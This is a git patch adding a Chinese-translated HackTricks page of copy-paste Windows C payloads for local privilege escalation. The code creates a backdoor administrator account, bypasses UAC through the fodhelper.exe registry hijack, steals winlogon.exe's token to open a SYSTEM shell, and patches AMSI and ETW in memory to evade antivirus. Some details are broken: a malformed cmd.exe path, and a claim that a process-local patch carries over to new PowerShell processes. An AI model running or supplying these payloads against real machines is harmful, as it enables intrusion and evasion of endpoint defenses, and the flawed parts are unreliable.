From 9635c15eff509f8990b309c41b5d9d798a16f7ea Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 04:21:29 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/wi --- .../windows-c-payloads.md | 160 +++++++++++++++++- 1 file changed, 153 insertions(+), 7 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index fd3c85534..184f25915 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -1,14 +1,160 @@ -# 添加用户 -```c -// i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c +# Windows C Payloads -#include /* system, NULL, EXIT_FAILURE */ -int main () -{ -int i; +{{#include ../../banners/hacktricks-training.md}} + +此页面收集了**小型、自包含的 C 代码片段**,在 Windows 本地权限提升或后期利用中非常方便。每个有效载荷旨在**便于复制粘贴**,仅需 Windows API / C 运行时,并且可以使用 `i686-w64-mingw32-gcc` (x86) 或 `x86_64-w64-mingw32-gcc` (x64) 编译。 + +> ⚠️ 这些有效载荷假设进程已经具有执行该操作所需的最低权限(例如 `SeDebugPrivilege`、`SeImpersonatePrivilege` 或用于 UAC 绕过的中等完整性上下文)。它们旨在用于**红队或 CTF 环境**,在这些环境中,利用漏洞已实现任意本地代码执行。 + +--- + +## 添加本地管理员用户 +```c +// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c +#include +int main(void) { system("net user hacker Hacker123! /add"); system("net localgroup administrators hacker /add"); return 0; } ``` +--- + +## UAC 绕过 – `fodhelper.exe` 注册表劫持 (中 → 高完整性) +当受信任的二进制文件 **`fodhelper.exe`** 被执行时,它会查询下面的注册表路径 **而不过滤 `DelegateExecute` 动词**。通过在该键下植入我们的命令,攻击者可以绕过 UAC *而不* 将文件写入磁盘。 + +*`fodhelper.exe` 查询的注册表路径* +``` +HKCU\Software\Classes\ms-settings\Shell\Open\command +``` +一个最小的 PoC,可以弹出一个提升权限的 `cmd.exe`: +```c +// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include + +int main(void) { +HKEY hKey; +const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command + +// 1. Create the vulnerable registry key +if (RegCreateKeyExA(HKEY_CURRENT_USER, +"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0, +KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { + +// 2. Set default value => our payload +RegSetValueExA(hKey, NULL, 0, REG_SZ, +(const BYTE*)payload, (DWORD)strlen(payload) + 1); + +// 3. Empty "DelegateExecute" value = trigger (") +RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, +(const BYTE*)"", 1); + +RegCloseKey(hKey); + +// 4. Launch auto-elevated binary +system("fodhelper.exe"); +} +return 0; +} +``` +*在 Windows 10 22H2 和 Windows 11 23H2(2025 年 7 月补丁)上进行了测试。绕过仍然有效,因为 Microsoft 尚未修复 `DelegateExecute` 路径中缺失的完整性检查。* + +--- + +## 通过令牌复制生成 SYSTEM shell (`SeDebugPrivilege` + `SeImpersonatePrivilege`) +如果当前进程同时拥有 **SeDebug** 和 **SeImpersonate** 权限(许多服务帐户的典型情况),您可以从 `winlogon.exe` 中窃取令牌,复制它,并启动一个提升的进程: +```c +// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32 +#include +#include +#include + +DWORD FindPid(const wchar_t *name) { +PROCESSENTRY32W pe = { .dwSize = sizeof(pe) }; +HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); +if (snap == INVALID_HANDLE_VALUE) return 0; +if (!Process32FirstW(snap, &pe)) return 0; +do { +if (!_wcsicmp(pe.szExeFile, name)) { +DWORD pid = pe.th32ProcessID; +CloseHandle(snap); +return pid; +} +} while (Process32NextW(snap, &pe)); +CloseHandle(snap); +return 0; +} + +int wmain(void) { +DWORD pid = FindPid(L"winlogon.exe"); +if (!pid) return 1; + +HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); +HANDLE hToken = NULL, dupToken = NULL; + +if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) && +DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) { + +STARTUPINFOW si = { .cb = sizeof(si) }; +PROCESS_INFORMATION pi = { 0 }; +if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE, +L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, +NULL, NULL, &si, &pi)) { +CloseHandle(pi.hProcess); +CloseHandle(pi.hThread); +} +} +if (hProc) CloseHandle(hProc); +if (hToken) CloseHandle(hToken); +if (dupToken) CloseHandle(dupToken); +return 0; +} +``` +对于其工作原理的更深入解释,请参见: +{{#ref}} +sedebug-+-seimpersonate-copy-token.md +{{#endref}} + +--- + +## 内存中的 AMSI 和 ETW 补丁(防御规避) +大多数现代 AV/EDR 引擎依赖于 **AMSI** 和 **ETW** 来检查恶意行为。在当前进程中早期修补这两个接口可以防止基于脚本的有效载荷(例如 PowerShell、JScript)被扫描。 +```c +// gcc -o patch_amsi.exe patch_amsi.c -lntdll +#define _CRT_SECURE_NO_WARNINGS +#include +#include + +void Patch(BYTE *address) { +DWORD oldProt; +// mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG) +BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; +VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt); +memcpy(address, patch, sizeof(patch)); +VirtualProtect(address, sizeof(patch), oldProt, &oldProt); +} + +int main(void) { +HMODULE amsi = LoadLibraryA("amsi.dll"); +HMODULE ntdll = GetModuleHandleA("ntdll.dll"); + +if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer")); +if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite")); + +MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK); +return 0; +} +``` +*上述补丁是进程本地的;在运行后生成一个新的 PowerShell 将在没有 AMSI/ETW 检查的情况下执行。* + +--- + +## 参考文献 +* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024) +* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023) + {{#include ../../banners/hacktricks-training.md}}